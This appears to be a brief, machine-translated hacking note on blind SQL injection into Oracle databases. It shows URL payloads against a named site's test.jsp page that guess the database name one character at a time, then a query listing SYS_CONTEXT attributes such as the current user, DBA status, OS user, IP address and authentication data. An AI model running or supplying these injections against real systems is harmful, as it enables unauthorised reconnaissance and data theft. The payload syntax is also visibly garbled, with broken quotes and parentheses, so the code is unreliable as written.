Oracle injection sys_context Exploitation

Oracle can use sys_context to obtain basic information. The record is as follows:
Jsp = 1' "> http://www.nuanyue.com/test.jsp1_1' and ascii (substr (length (sys_context ('userenv', db_name '), 0, 1) = 89
Check that the ASCII value of the number of characters in db_name is 89.
Http://www.nuanyue.com/test.jsp1_1' and ascii (substr (sys_context ('userenv', db_name '), 109) =
Http://www.nuanyue.com/test.jsp1_1' and ascii (substr (sys_context ('userenv', db_name '), 2, 1)> 0
// Obtain the ASCII value of the first character, and so on. The following information can be obtained.
Select
SYS_CONTEXT ('userenv', Terminal') TERMINAL,
SYS_CONTEXT ('userenv', LANGUAGE ') language,
SYS_CONTEXT ('userenv', sessionid') SESSIONID,
SYS_CONTEXT ('userenv', instance') INSTANCE,
SYS_CONTEXT ('userenv', entryid') ENTRYID,
SYS_CONTEXT ('userenv', ISDBA ') isdba,
SYS_CONTEXT ('userenv', NLS_TERRITORY ') nls_territory,
SYS_CONTEXT ('userenv', NLS_CURRENCY ') nls_currency,
SYS_CONTEXT ('userenv', NLS_CALENDAR ') nls_calendar,
SYS_CONTEXT ('userenv', NLS_DATE_FORMAT ') nls_date_format,
SYS_CONTEXT ('userenv', NLS_DATE_LANGUAGE ') nls_date_language,
SYS_CONTEXT ('userenv', NLS_SORT ') nls_sort,
SYS_CONTEXT ('userenv', CURRENT_USER ') current_user,
SYS_CONTEXT ('userenv', CURRENT_USERID ') current_userid,
SYS_CONTEXT ('userenv', SESSION_USER ') session_user,
SYS_CONTEXT ('userenv', SESSION_USERID ') session_userid,
SYS_CONTEXT ('userenv', PROXY_USER ') proxy_user,
SYS_CONTEXT ('userenv', PROXY_USERID ') proxy_userid,
SYS_CONTEXT ('userenv', DB_DOMAIN ') db_domain,
SYS_CONTEXT ('userenv', DB_NAME ') db_name,
SYS_CONTEXT ('userenv', host') HOST,
SYS_CONTEXT ('userenv', OS _USER ') OS _user,
SYS_CONTEXT ('userenv', EXTERNAL_NAME ') external_name,
SYS_CONTEXT ('userenv', IP_ADDRESS ') ip_address,
SYS_CONTEXT ('userenv', NETWORK_PROTOCOL ') network_protocol,
SYS_CONTEXT ('userenv', BG_JOB_ID ') bg_job_id,
SYS_CONTEXT ('userenv', FG_JOB_ID ') fg_job_id,
SYS_CONTEXT ('userenv', AUTHENTICATION_TYPE ') authentication_type,
SYS_CONTEXT ('userenv', AUTHENTICATION_DATA ') authentication_data
From dual